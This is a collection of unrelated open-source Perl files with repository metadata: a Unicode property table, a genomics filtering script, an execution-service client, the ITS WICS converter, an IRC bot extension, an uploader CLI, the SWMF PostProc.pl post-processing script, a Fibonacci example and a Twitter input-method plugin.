# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is built by mktables from e.g. UnicodeData.txt. # Any changes made here will be lost! # # Binary property 'Other_Math' # return <<'END'; 005E Other_Math 03D0 03D2 Other_Math 03D5 Other_Math 03F0 03F1 Other_Math 03F4 03F5 Other_Math 2016 Other_Math 2032 2034 Other_Math 2040 Other_Math 2061 2064 Other_Math 207D 207E Other_Math 208D 208E Other_Math 20D0 20DC Other_Math 20E1 Other_Math 20E5 20E6 Other_Math 20EB 20EF Other_Math 2102 Other_Math 210A 2113 Other_Math 2115 Other_Math 2119 211D Other_Math 2124 Other_Math 2128 2129 Other_Math 212C 212D Other_Math 212F 2131 Other_Math 2133 2138 Other_Math 213C 213F Other_Math 2145 2149 Other_Math 2195 2199 Other_Math 219C 219F Other_Math 21A1 21A2 Other_Math 21A4 21A5 Other_Math 21A7 Other_Math 21A9 21AD Other_Math 21B0 21B1 Other_Math 21B6 21B7 Other_Math 21BC 21CD Other_Math 21D0 21D1 Other_Math 21D3 Other_Math 21D5 21DB Other_Math 21DD Other_Math 21E4 21E5 Other_Math 23B4 23B5 Other_Math 23B7 Other_Math 23D0 Other_Math 23E2 Other_Math 25A0 25A1 Other_Math 25AE 25B6 Other_Math 25BC 25C0 Other_Math 25C6 25C7 Other_Math 25CA 25CB Other_Math 25CF 25D3 Other_Math 25E2 Other_Math 25E4 Other_Math 25E7 25EC Other_Math 2605 2606 Other_Math 2640 Other_Math 2642 Other_Math 2660 2663 Other_Math 266D 266E Other_Math 27C5 27C6 Other_Math 27E6 27EF Other_Math 2983 2998 Other_Math 29D8 29DB Other_Math 29FC 29FD Other_Math FE61 Other_Math FE63 Other_Math FE68 Other_Math FF3C Other_Math FF3E Other_Math 1D400 1D454 Other_Math 1D456 1D49C Other_Math 1D49E 1D49F Other_Math 1D4A2 Other_Math 1D4A5 1D4A6 Other_Math 1D4A9 1D4AC Other_Math 1D4AE 1D4B9 Other_Math 1D4BB Other_Math 1D4BD 1D4C3 Other_Math 1D4C5 1D505 Other_Math 1D507 1D50A Other_Math 1D50D 1D514 Other_Math 1D516 1D51C Other_Math 1D51E 1D539 Other_Math 1D53B 1D53E Other_Math 1D540 1D544 Other_Math 1D546 Other_Math 1D54A 1D550 Other_Math 1D552 1D6A5 Other_Math 1D6A8 1D6C0 Other_Math 1D6C2 1D6DA Other_Math 1D6DC 1D6FA Other_Math 1D6FC 1D714 Other_Math 1D716 1D734 Other_Math 1D736 1D74E Other_Math 1D750 1D76E Other_Math 1D770 1D788 Other_Math 1D78A 1D7A8 Other_Math 1D7AA 1D7C2 Other_Math 1D7C4 1D7CB Other_Math 1D7CE 1D7FF Other_Math END
leighpauls/k2cro4
third_party/cygwin/lib/perl5/5.10/unicore/lib/gc_sc/OMath.pl
Perl
bsd-3-clause
2,233
#!/usr/bin/perl # #open(I,"<",shift@ARGV); $FLAG = shift@ARGV; # 0 for number 1 for chr $K = 0; open(I,"<",shift@ARGV); while(<I>){ chomp; @m = split(/\s+/); if($K == 0){ $K = 1; if(substr($m[0],0,1) ne "c"){ $FLAG = 1; } } if($FLAG == 0){ $m[0] = substr($m[0],3); $m[3] = substr($m[3],3); } push @{$hash{"$m[0]\t$m[2]\t$m[3]\t$m[5]"}}, [$m[1], $m[4]]; if($m[$#m-1] == 0 || $m[$#m] == 0){ push @{$BLACK{$m[0]}}, $m[1]; push @{$BLACK{$m[3]}}, $m[4]; } } while(<STDIN>){ chomp; @m = split(/\s+/); $F = 0; if(exists $hash{"$m[0]\t$m[2]\t$m[3]\t$m[5]"}){ for $i (0 .. $#{$hash{"$m[0]\t$m[2]\t$m[3]\t$m[5]"}}){ if(abs($m[1] - $hash{"$m[0]\t$m[2]\t$m[3]\t$m[5]"}[$i][0]) < 100 && abs($m[4] - $hash{"$m[0]\t$m[2]\t$m[3]\t$m[5]"}[$i][1]) < 100){ $F = 1; last; } } } if($F == 1){ next; } if($m[$#m-1] == 0 || $m[$#m] == 0){ if(exists $BLACK{$m[0]}){ for $i (0 .. $#{$BLACK{$m[0]}}){ if(abs($m[1] - $BLACK{$m[0]}[$i]) < 100){ $F = 1; last; } } } if($F == 1){ next; } if(exists $BLACK{$m[3]}){ for $i (0 .. $#{$BLACK{$m[3]}}){ if(abs($m[4] - $BLACK{$m[3]}[$i]) < 100){ $F = 1; last; } } } if($F == 1){ next; } } print $_,"\n"; }
ma-compbio/Weaver
Weaver_SV/bin/screen_germ.pl
Perl
mit
1,247
package Net::Execd::Client; use strict; our $VERSION = 0; use Exporter; use Perl::Module; use IO::Socket; our @EXPORT_OK = qw(execd_submit); our %EXPORT_TAGS = (all => [@EXPORT_OK]); push our @ISA, qw(Exporter); sub execd_submit { my ($host, $port, $cmd_id) = @_; my $client = __PACKAGE__->new(PeerAddr => $host, PeerPort => $port); $client->submit($cmd_id); } our $Defaults = { Proto => 'tcp', PeerAddr => '172.0.0.1', PeerPort => 2369, }; sub new { my $classname = ref($_[0]) ? ref(shift) : shift; my $members = overlay(overlay({}, $Defaults), {@_}); my $self = bless $members, $classname; $self; } sub submit { my $self = shift; my $cmd_id = shift; my $handle = IO::Socket::INET->new(%$self) or die $!; $handle->autoflush(1); print $handle $cmd_id; my $out = undef; while (defined (my $line = <$handle>)) { $out = '' unless defined($out); $out .= $line; } $out; } 1; __END__ =pod:name Submit requests to the execution service =pod:synopsis As a command-line script: #!/usr/bin/perl -w use strict; use Net::Execd::Client qw(execd_submit); my $cmd_id = 'c58a5002d1c74969d19178c5b3360fca3bf22df3'; print execd_submit('localhost', 7890, $cmd_id); As an object: #!/usr/bin/perl -w use strict; use Net::Execd::Client; my $client = Net::Execd::Client->new( PeerAddr => 'localhost', PeerPort => 7890, ); my $cmd_id = 'c58a5002d1c74969d19178c5b3360fca3bf22df3'; my $out = $client->submit($cmd_id); =pod:description Submit a request to an execution server (L<Net::Execd::Server>). In both of the above cases a request is made to execute the command identified by C<c58a5002d1c74969d19178c5b3360fca3bf22df3> to the server running at C<localhost> on port C<7890>. =cut
ryangies/lsn-execd
src/lib/perl/Net/Execd/Client.pm
Perl
mit
1,756
package ITS::WICS; use strict; use warnings; use autodie; use Carp; use ITS; use ITS::WICS::XML2HTML; use ITS::WICS::Reduce qw(reduce); use ITS::WICS::XLIFF2HTML; use ITS::WICS::XML2XLIFF; use Exporter::Easy ( OK => [qw(xml2html xliff2html reduceHtml xml2xliff)] ); # VERSION # ABSTRACT: WICS file format converter =head1 SYNOPSIS use ITS::WICS qw(xml2html); my $html = xml2html('path/to/file.xml'); print $$html; =head1 DESCRIPTION WICS stands for Work In Context System. As a project, it is meant to make Internationalization Tag Set (ITS) metadata contained in a document more accessible to end-users via extraction and visualization. This module provides access to the four WICS conversion tasks (see the L</EXPORTS> section). Two standalone applications, a GUI and a CLI, are also provided in this distribution (see WICS-GUI.pl and WICS.pl). See "HTML 5 - ITS 2.0 IMPLEMENTATION PROJECT: WORK IN CONTEXT SYSTEM (WICS).pdf" in the project L<GitHub repository|https://github.com/renatb/ITS2.0-WICS-converter> for details. =head1 EXPORTS The following subroutines may be exported: =head2 C<xml2html> Converts input XML data into HTML5 while keeping the ITS information intact. See C<ITS::WICS::XML2HTML> for more details. Argument is either a string containing an XML file name, a string pointer containing actual XML data, or a filehandle for a file containing the data. Return value is a pointer to a string containing the output HTML5 text. =cut sub xml2html { my ($doc) = @_; my $converter = ITS::WICS::XML2HTML->new(); my $ITS = ITS->new('xml', doc => $doc); return $converter->convert($ITS); } =head2 C<xliff2html> Converts input XLIFF data into HTML5 while keeping the ITS information for C<source> and C<target> elements intact. The first argument is either a string containing an XLIFF file name, a string pointer containing actual XLIFF data, or a filehandle for a file containing the data. The second argument is a boolean indicating whether informative labels should be added (for empty or duplicate targets). Return value is a pointer to a string containing the output HTML5 text. =cut sub xliff2html { my ($doc, $add_labels) = @_; my $converter = ITS::WICS::XLIFF2HTML->new(); my $ITS = ITS->new('xml', doc => $doc); return $converter->convert($ITS, $add_labels); } =head2 C<xml2xliff> Extracts translation units and ITS information from input XML data and creates an XLIFF file. This function uses C<sec> elements to create C<group>s, and C<para> elements to make C<trans-unit>s. Keep in mind that this functionality is still highly immature. The first argument is either a string containing an XML file name, a string pointer containing actual XML data, or a filehandle for a file containing the data. Return value is a pointer to a string containing the output XLIFF text. =cut sub xml2xliff { my ($doc) = @_; my $converter = ITS::WICS::XML2XLIFF->new(); my $ITS = ITS->new('xml', doc => $doc); return $converter->convert( $ITS, group => ['sec'], tu => ['para']); } =head2 C<reduceHtml> Consolidates ITS-decorated HTML5 by placing all external rules in the head element. The input and return values are the same as for C<xml2HTML>, except that the input should refer to HTML5 data instead of XML. =cut sub reduceHtml { my ($doc) = @_; my $ITS = ITS->new('html', doc => $doc); reduce($ITS); return \($ITS->get_doc->string); } 1; =head1 SEE ALSO This module relies on the L<ITS> module for processing ITS markup and rules. The modules for the various ITS data conversion are included in this distribution: =over =item L<ITS::WICS::XML2HTML> =item L<ITS::WICS::XLIFF2HTML> =item L<ITS::WICS::XML2XLIFF> =item L<ITS::WICS::Reduce> =back The ITS 2.0 specification for XML and HTML5: L<http://www.w3.org/TR/its20/>. The spec for representing ITS in XLIFF: L<http://www.w3.org/International/its/wiki/XLIFF_1.2_Mapping>. ITS interest group mail archives: L<http://lists.w3.org/Archives/Public/public-i18n-its-ig/>
renatb/ITS2.0-WICS-converter
lib/ITS/WICS.pm
Perl
mit
4,052
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % Author: Ebrahim Azarisooreh % % E-mail: ebrahim.azarisooreh@gmail.com % % IRC Nick: eazar001 % % Title: Yes-Bot Prolog References Extension % % Description: Informational References Extension for ##prolog % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- module(references, [references/1]). :- use_module(dispatch). :- use_module(submodules/html). :- use_module(submodules/references_kb). :- use_module(submodules/utils). target("##prolog", "yesbot"). references(Msg) :- ignore((references_(Msg))). references_(Msg) :- determine_recipient(references, Msg, Rec), ( Msg = msg(_Prefix, "PRIVMSG", _, [63|Codes]), atom_codes(R0, Codes), normalize_space(atom(R), R0), name_pair(R, Value-Title), send_msg(priv_msg, Title, Rec), send_msg(priv_msg, Value, Rec), ! ; Msg = msg(_Prefix, "PRIVMSG", [Rec], V), has_link(_, Link, V, _), string_codes(Value, Link), name_pair(R, Value-_), format(string(S), 'Hey there! I just wanted to let you know that you can \c use the "?~s" keyword. Pardon my interruption.', [R]), send_msg(priv_msg, S, Rec) ).
logicmoo/yesbot
extensions/references.pl
Perl
mit
1,780
package App::Sky::CmdLine; use strict; use warnings; our $VERSION = '0.2.1'; use Carp (); use Moo; use MooX 'late'; use Getopt::Long qw(GetOptionsFromArray); use App::Sky::Config::Validate; use App::Sky::Manager; use File::HomeDir; use YAML::XS qw(LoadFile); use Scalar::Util qw(reftype); has 'argv' => (isa => 'ArrayRef[Str]', is => 'rw', required => 1,); sub _basic_help { my ($self) = @_; print <<'EOF'; sky upload /path/to/myfile.txt sky up-r /path/to/directory EOF exit(0); } sub _basic_usage { my ($self) = @_; print "Usage: sky [up|upload] /path/to/myfile.txt\n"; exit(-1); } sub run { my ($self) = @_; if (! @{$self->argv()}) { return $self->_basic_usage(); } my $verb = shift(@{$self->argv()}); if (($verb eq '--help') or ($verb eq '-h')) { return $self->_basic_help(); } my $_calc_manager = sub { my $dist_config_dir = File::HomeDir->my_dist_config( 'App-Sky', {create => 1}, ); my $config_fn = File::Spec->catfile($dist_config_dir, 'app_sky_conf.yml'); my $config = LoadFile($config_fn); my $validator = App::Sky::Config::Validate->new({ config => $config }); $validator->is_valid(); return App::Sky::Manager->new( { config => $config, } ); }; my $_handle_results = sub { my ($results) = @_; my $upload_cmd = $results->upload_cmd(); my $urls = $results->urls(); if ((system { $upload_cmd->[0] } @$upload_cmd) != 0) { die "Upload cmd <<@$upload_cmd>> failed with $!"; } print "Got URL:\n" , $urls->[0]->as_string(), "\n"; exit(0); }; my $op; if ((($verb eq 'up') || ($verb eq 'upload'))) { $op = 'upload'; } elsif (($verb eq 'up-r') || ($verb eq 'upload-recursive')) { $op = "up-r"; } else { return $self->_basic_usage(); } # GetOptionsFromArray( # $self->argv(), # ); my $filename = shift(@{$self->argv()}); if (not (($op eq 'upload') ? (-f $filename) : (-d $filename))) { die "Can only upload directories. '$filename' is not a valid directory name."; } my $meth = $op eq 'upload' ? 'get_upload_results' : 'get_recursive_upload_results'; $_handle_results->( scalar( $_calc_manager->()->$meth( { filenames => [$filename], } ) ) ); return; } 1; __END__ =pod =encoding UTF-8 =head1 NAME App::Sky::CmdLine - command line program =head1 VERSION version 0.2.1 =head1 METHODS =head2 argv The array of command line arguments - should be supplied to the constructor. =head2 run() Run the application. =head1 AUTHOR Shlomi Fish <shlomif@cpan.org> =head1 COPYRIGHT AND LICENSE This software is Copyright (c) 2013 by Shlomi Fish. This is free software, licensed under: The MIT (X11) License =head1 BUGS Please report any bugs or feature requests on the bugtracker website http://rt.cpan.org/NoAuth/Bugs.html?Dist=App-Sky or by email to bug-app-sky@rt.cpan.org. When submitting a bug or request, please include a test-file or a patch to an existing test-file that illustrates the bug or desired feature. =for :stopwords cpan testmatrix url annocpan anno bugtracker rt cpants kwalitee diff irc mailto metadata placeholders metacpan =head1 SUPPORT =head2 Perldoc You can find documentation for this module with the perldoc command. perldoc App::Sky =head2 Websites The following websites have more information about this module, and may be of help to you. As always, in addition to those websites please use your favorite search engine to discover more resources. =over 4 =item * MetaCPAN A modern, open-source CPAN search engine, useful to view POD in HTML format. L<http://metacpan.org/release/App-Sky> =item * Search CPAN The default CPAN search engine, useful to view POD in HTML format. L<http://search.cpan.org/dist/App-Sky> =item * RT: CPAN's Bug Tracker The RT ( Request Tracker ) website is the default bug/issue tracking system for CPAN. L<http://rt.cpan.org/NoAuth/Bugs.html?Dist=App-Sky> =item * AnnoCPAN The AnnoCPAN is a website that allows community annotations of Perl module documentation. L<http://annocpan.org/dist/App-Sky> =item * CPAN Ratings The CPAN Ratings is a website that allows community ratings and reviews of Perl modules. L<http://cpanratings.perl.org/d/App-Sky> =item * CPAN Forum The CPAN Forum is a web forum for discussing Perl modules. L<http://cpanforum.com/dist/App-Sky> =item * CPANTS The CPANTS is a website that analyzes the Kwalitee ( code metrics ) of a distribution. L<http://cpants.perl.org/dist/overview/App-Sky> =item * CPAN Testers The CPAN Testers is a network of smokers who run automated tests on uploaded CPAN distributions. L<http://www.cpantesters.org/distro/A/App-Sky> =item * CPAN Testers Matrix The CPAN Testers Matrix is a website that provides a visual overview of the test results for a distribution on various Perls/platforms. L<http://matrix.cpantesters.org/?dist=App-Sky> =item * CPAN Testers Dependencies The CPAN Testers Dependencies is a website that shows a chart of the test results of all dependencies for a distribution. L<http://deps.cpantesters.org/?module=App::Sky> =back =head2 Bugs / Feature Requests Please report any bugs or feature requests by email to C<bug-app-sky at rt.cpan.org>, or through the web interface at L<http://rt.cpan.org/NoAuth/ReportBug.html?Queue=App-Sky>. You will be automatically notified of any progress on the request by the system. =head2 Source Code The code is open to the world, and available for you to hack on. Please feel free to browse it and play with it, or whatever. If you want to contribute patches, please send me a diff or prod me to pull from your repository :) L<https://github.com/shlomif/Sky-uploader> git clone git://github.com/shlomif/Sky-uploader.git =cut
gitpan/App-Sky
lib/App/Sky/CmdLine.pm
Perl
mit
6,069
#!/usr/bin/perl -s my $Help = ($h or $H or $help); my $Verbose = ($v or $verbose); my $Gzip = ($g or $gzip); my $Repeat = ($r or $repeat); my $Concat = ($c or $cat and not $Repeat); my $MakeMovie = ($m or $movie or $M or $MOVIE); my $KeepMovieOnly = ($M or $MOVIE); my $nThread = ($n or 4); my $Rsync = ($rsync or $sync); my $AllParam = ($param or $allparam); my $Pattern = $p; use strict; use File::Find; my $rsync = 'rsync -avz'; my $exclude = " --exclude '*.idl' --exclude '*.tec' --exclude '*.dat'". " --exclude '*.[hHTS]'"; my $INFO = "PostProc.pl"; my $ERROR = "ERROR in PostProc.pl"; my $WARNING = "WARNING in PostProc.pl"; my $ParamIn = "PARAM.in"; my $RunLog = "runlog runlog_[0-9]*"; my $NameOutput; if(@ARGV){ die "$ERROR: option -r(epeat) cannot be combined with output directory!\n" if $Repeat; die "$ERROR: only one directory name can be given!\n" unless $#ARGV == 0; $NameOutput = $ARGV[0]; die "$ERROR: directory or file $NameOutput already exists!\n" if -e $NameOutput; `mkdir -p $NameOutput`; die "$ERROR: could not mkdir -p $NameOutput\n" if $?; } die "$ERROR: option -rsync requires a target directory: rsync=TARGETDIR\n" if $Rsync eq "1"; &print_help if $Help; my $Pwd = `pwd`; chop $Pwd; # Set the movie option for pIDL my $MovieFlag; if($KeepMovieOnly){ $MovieFlag = '-M'; }elsif($MakeMovie){ $MovieFlag = '-m'; } # Name of the plot directories for various components my %PlotDir = ( "EE" => "EE/IO2", "GM" => "GM/IO2", "IE" => "IE/ionosphere,IE/Output", "IH" => "IH/IO2", "OH" => "OH/IO2", "IM" => "IM/plots,IM/output", "PW" => "PW/plots", "RB" => "RB/plots", "SC" => "SC/IO2", "LC" => "LC/IO2", "UA" => "UA/Output,UA/data", "STDOUT" => "STDOUT", ); REPEAT:{ foreach my $Dir (sort keys %PlotDir){ next unless -d $Dir; my $PlotDir = $PlotDir{$Dir}; # Find the actual plot directory if($PlotDir =~ /,/){ my @PlotDir; @PlotDir = split(/,/,$PlotDir); foreach (@PlotDir){ if(-d $_){ $PlotDir{$Dir} = $_; $PlotDir = $_; last; } } } warn "$WARNING: plot directory $PlotDir is missing\n" unless -d $PlotDir; next unless -d $PlotDir; print "cd $Dir\n" if $Verbose; chdir $Dir or die "$ERROR: could not change directory to $Dir\n"; # Post process files if necessary if($Dir eq "IE"){ if($Gzip){ &shell("./pION -g"); }else{ &shell("./pION"); } &concat_sat_log if $Concat; }elsif( $Dir =~ /^SC|LC|IH|OH|GM|EE$/ ){ &shell("./pIDL $MovieFlag -n=$nThread $Pattern"); if($Gzip){ &shell("./pTEC A g"); }else{ &shell("./pTEC A p r"); } &concat_sat_log if $Concat; }elsif( $Dir =~ /^IM/ ){ my @files=glob("plots/*.dat"); if($Gzip){ &shell("gzip",@files) if @files; }else{ &shell("./Preplot.pl",@files) if @files; } }elsif( $Dir =~ /^PW/ ){ # PWOM output files cannot be gzipped while code is running # because it is appending to the files. if($Gzip and not $Repeat){ my @files=glob("plots/*.out"); &shell("gzip", @files) if @files; } }elsif( $Dir =~ /^RB/ ){ if($Gzip){ my @files=glob("plots/*.fls"); &shell("gzip",@files) if @files; } } chdir $Pwd; } if($Rsync and not $NameOutput){ my $Dir; foreach $Dir (keys %PlotDir){ my $PlotDir = $PlotDir{$Dir}; next unless -d $PlotDir; my $command = $rsync; $command .= $exclude if $Dir =~ /GM|SC|LC|IH|OH|EE/; &shell("$command $PlotDir/ $Rsync/$Dir") if -d $PlotDir; } &shell("$rsync $ParamIn $Rsync/") if -f $ParamIn; &shell("$rsync PARAM.* LAYOUT.* $Rsync/") if $AllParam; &shell("$rsync runlog $Rsync/") if -f "runlog"; &shell("$rsync runlog_[0-9]* $Rsync/") if glob("runlog_[0-9]*"); &shell("$rsync log.[0-9]* $Rsync/") if glob("log.[0-9]*"); } if($Repeat){ sleep $Repeat; redo REPEAT; } } # Done except for collecting output files exit 0 unless $NameOutput; # Collect plot directories into $NameOutput # and make empty plot directories if requested foreach my $Dir (sort keys %PlotDir){ next unless -d $Dir; my $PlotDir = $PlotDir{$Dir}; next unless -d $PlotDir; # Check if the plot directory is empty my @Files; opendir(DIR, $PlotDir) or die "$ERROR: could not open directory $PlotDir!\n"; @Files = readdir(DIR) or die "$ERROR: could not read directory $PlotDir!\n"; closedir(DIR); if($#Files > 1){ print "$INFO: mv $PlotDir $NameOutput/$Dir with ", $#Files-1," file"; print "s" if $#Files > 2; print "\n"; rename $PlotDir, "$NameOutput/$Dir" or die "$ERROR: could not rename $PlotDir $NameOutput/$Dir\n"; # Recreate an empty directory tree in $PlotDir # Store current directory so the recursive mkdir can work my $Pwd = `pwd`; chop $Pwd; find sub {return unless -d; $_ = $File::Find::name; s/$NameOutput\/$Dir/$PlotDir/; mkdir "$Pwd/$_", 0777 or warn "failed mkdir $Pwd/$_\n"}, "$NameOutput/$Dir"; }else{ warn "$WARNING: no files were found in $PlotDir\n"; } } ############################################################# sub readrunlog{ ## Read runlog and print out init time and runtime ## without init time my (@timearray); my ($runlogfile); foreach $runlogfile (glob("runlog*")){ open(INPUT , "<", $runlogfile) or die "Could not open runfile: $!\n"; while(<INPUT>){ if(/.*(BATSRUS|SWMF)\s+(\d+\.\d+).*/){ @timearray = (@timearray,$2); }elsif(/.*(BATSRUS|SWMF)\s*1\s*1\s+(.*?)\s+/){ @timearray = (@timearray,$2); } } close(INPUT); if($#timearray > 0){ print "RUNLOG TIMINGS (init, run ...) @timearray[0] @timearray[$#timearray] \n"; } } } ############################################################# # Copy and move some input and output files if present if(-f $ParamIn){ print "$INFO: cp $ParamIn $NameOutput/\n"; `cp $ParamIn $NameOutput/`; }else{ warn "$WARNING: no $ParamIn file was found\n"; } readrunlog(); if(-f "runlog"){ print "$INFO: mv runlog $NameOutput/\n"; `mv runlog $NameOutput`; }elsif(glob("runlog_[0-9]*")){ print "$INFO: mv runlog_[0-9]* $NameOutput/\n"; `mv runlog_[0-9]* $NameOutput`; }else{ warn "$WARNING: no $RunLog file was found\n"; } print "$INFO: Restart.pl -o $NameOutput/RESTART\n"; &shell("./Restart.pl -o $NameOutput/RESTART"); if($Rsync){ print "$INFO: rsync -avz $NameOutput $Rsync\n"; &shell("rsync -avz $NameOutput/ $Rsync"); print "$INFO: rsync is complete\n"; } exit 0; ############################################################# sub shell{ my $command = join(" ",@_); print "$command\n" if $Verbose; my $result = `$command`; print $result if $Verbose; } ############################################################# sub concat_sat_log{ chdir "IO2" or chdir "ionosphere" or return; opendir(DIR,'.'); my @LogSatFiles = sort(grep /\.(log|sat|mag)$/, readdir(DIR)); closedir(DIR); # Concatenate the .log/.sat files with same name my %FirstFile; my $File; for $File (@LogSatFiles){ my $BaseName = $File; # Remove extension $BaseName =~ s/_n\d+\.(log|sat|mag)$// or $BaseName =~ s/_t[\d_]+\.(log|mag)$// or die "$ERROR: file name $File does not match " . "_nSTEPNUMBER.(log|sat) format\n"; # Check if there was another file with the same base name. my $FirstFile = $FirstFile{$BaseName}; if(not $FirstFile){ $FirstFile{$BaseName} = $File; next; } # Append this file's content (without the header) to the first file open (FIRST, ">>$FirstFile") or die "$ERROR: could not open first file $FirstFile for append\n"; open (FILE, "$File") or die "$ERROR: could not file $FirstFile for read\n"; while(<FILE>){ # skip lines that contain other things than numbers next unless /^[\s\d\.eEdD\+\-\*]+$/; print FIRST $_; } close(FIRST); close(FILE); unlink $File; } } ############################################################################## #!QUOTE: \clearpage #BOP #!QUOTE: \subsection{Post-Process Plot Files with PostProc.pl} #!ROUTINE: PostProc.pl - post-process plot files of the components #!DESCRIPTION: # This script is copied into the run directory and it should be executed there. # The script post processes the plot files created by the components. # The script can run in the background and post process periodically. # It can also collect the plot files, the restart files, the standard output, # the runlog files and the PARAM.in file into a single 'output directory tree'. # The output can also be rsync-ed to a remote machine. # #!REVISION HISTORY: # 02/12/2005 G. Toth - initial version # 05/08/2005 added -o option to collect output into a directory tree # 09/08/2005 for -o option copy PARAM.in and move runlog into tree. # 2008 move last restart files into the tree. # 2008 for -c option concatenate log and satellite files. # 02/04/2009 R. Oran added OH component, same as IH #EOP sub print_help{ print #BOC 'Purpose: Post-process the output files and/or collect them into an output tree. The PARAM.in, runlog and restart files (if present) are also copied/moved into the output tree. The processed files or the output tree can be rsync-ed to another machine. Usage: PostProc.pl [-h] [-v] [-c] [-g] [-m | -M] [-r=REPEAT | DIR] [-n=NTHREAD] [-p=PATTERN] -h -help Print help message and exit. -v -verbose Print verbose information. -c -cat Concatenate series of satellite, log and magnetometer output files into one file. Cannot be used with the -r(epeat) option -g -gzip Gzip the big ASCII files. -m -movie Create movies from series of IDL files and keep IDL files. -M -MOVIE Create movies from series of IDL files and remove IDL files. -n=NTHREAD Run pIDL in parallel using NTHREAD threads. The default is 4. -r=REPEAT Repeat post processing every REPEAT seconds. Cannot be used with the DIR argument. -p=PATTERN Pass pattern to pIDL so it only processes the files that match. -param Will rsync PARAM.* and LAYOUT.* to rsync directory -rsync=TARGET Copy processed plot files into an other directory (possibly on another machine) using rsync. The TARGET is the name of the target directory (with host machine). When -rsync is used without the output direcectory DIR, the original plot directories are synchronized. When -rsync is used with the output directory DIR, then the output directory is synchronized. rsync must be installed on the local and target machines, and no password should be required to execute rsync. DIR Name of the directory tree to collect the processed files in. Cannot be used with the -r option. The directory is created and it should be new (to avoid overwriting older results). By default the processed data is not collected. Examples: Post-process the plot files: PostProc.pl Post-process the plot files, create movies from IDL output, concatenate satellite, log, and magnetometer files, move output into a directory tree "RESULTS/run23", and run PostIDL.exe on 8 cores: PostProc.pl -M -cat -n=8 RESULTS/run23 Post-process the plot files, compress the ASCII files, rsync the results to another machine and print verbose info: PostProc.pl -g -rsync=ME@OTHERMACHINE:My/Results -v Repeat post-processing every 360 seconds for files matching "IO2/x=", and pipe standard output and error into a log file: PostProc.pl -r=360 -p=IO2/x= >& PostProc.log & Collect processed output into a directory tree named OUTPUT/New and rsync it into the run/OUTPUT/New directory on another machine: PostProc.pl -rsync=ME@OTHERMACHINE:run/OUTPUT/New OUTPUT/New' #EOC ,"\n\n"; exit; } ##############################################################################
dpawlows/MGITM
share/Scripts/PostProc.pl
Perl
mit
12,236
use strict; sub fibo { my $n = shift; if ($n < 2) { return $n; } else { return fibo($n-1) + fibo($n-2); } } my $i = 0; do { print fibo($i++) . "\n"; } until ($i == 20)
dweichert/fibonacci-exercise
fibo.perl5.pl
Perl
mit
186
package Atok_plugin; use strict; use warnings; use utf8; use Template; use Config::Pit; use Net::Twitter; my $dispatch_table = { qr/(?:ついったー|たいむらいん|TL)/i => 'friends_timeline', }; sub run_process { my $params = shift; my $method; for my $regex (keys %$dispatch_table) { if ($params->{composition_string} =~ /$regex/) { $method = $dispatch_table->{$regex}; last; } } return if !$method;; return (candidate => __PACKAGE__->$method()); } sub friends_timeline { my $self = shift; my $client = get_client(); my $candidate = []; for my $friend (@{$client->friends_timeline || []}) { my $tweet = ATOK::Plugin::Twitter::Tweet->new($friend); push @$candidate, $tweet->to_hash; } $candidate; } sub get_client { my $config = pit_get('twitter.com'); my $username = $config->{username} or die qq{usernameというキーでtwitterのアカウントを設定してください。}; my $password = $config->{password} or die qq{passwordというキーでtwitterのパスワードを設定してください。}; Net::Twitter->new( traits => [qw(API::REST)], username => $username, password => $password, clientname => 'ATOK::Plugin::Twitter', ); } package ATOK::Plugin::Twitter::Tweet; use base qw(Class::Accessor::Lvalue::Fast); __PACKAGE__->mk_accessors(qw( id tt )); sub new { my $class = shift; my $self = $class->SUPER::new(@_); $self->tt = Template->new; $self; } sub user { my $self = shift; $self->{_user} ||= ATOK::Plugin::Twitter::User->new($self->{user}); } sub url { my $self = shift; sprintf 'http://twitter.com/%s/status/%s', $self->user->screen_name, $self->id; } sub to_hash { my $self = shift; +{ hyoki => sprintf('@%s (%s)', $self->user->screen_name, $self->user->name), comment_xhtml => $self->to_xhtml, alternative => $self->url, alternative_alias=> 'この発言をブラウザで開く', alternative_type => 'url_jump_string', } } sub to_xhtml { my $self = shift; my $template = $self->template; $self->tt->process(\$template, $self, \my $result); $result; } sub template { return <<'EOS' <?xml version="1.0" encoding="UTF-8" ?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja" lang="ja"> <head> <title>Twitter</title> </head> <body> <div style="background-color:#9ae4e8;padding:3px;margin-bottom:1em"> <a href="http://twitter.com/home"><img src="http://twitter.com/images/mobile.gif" alt="Twitter"/></a> </div> <div style="float:left; margin: 0 1em 0 1em;"> <img src="[% user.profile_image_url %]" /> </div> <div style="float:left;"> <span style="font-weight:bold;">[% user.screen_name | html %] ([% user.name | html %])</span><br /> <a href="http://twitter.com/[% user.screen_name | html %]/status/[% id %]" style="color:#aaaaaa">Tweet</a> <span style="color:#aaaaaa;margin-left:0.5em;">from [% source %]</span> </div> <div style="clear:both;padding:0.5em;"> <p>[% text | html %]</p> </div> <div style="color:#ffffff;background-color:#9ae4e8;padding:3px;text-align:center;font-size:80%"> <a href="http://github.com/kentaro/atok-plugin-twitter/tree/master" style="color:#ffffff">ATOK::Plugin::Twitter</a> / <a href="http://twitter.com/kentaro" style="color:#ffffff">@kentaro</a> </div> </body> </html> EOS } package ATOK::Plugin::Twitter::User; use base qw(Class::Accessor::Lvalue::Fast); __PACKAGE__->mk_accessors(qw( name screen_name )); 1;
kentaro/perl-atok-plugin-twitter
plugin/twitter.pl
Perl
mit
3,707
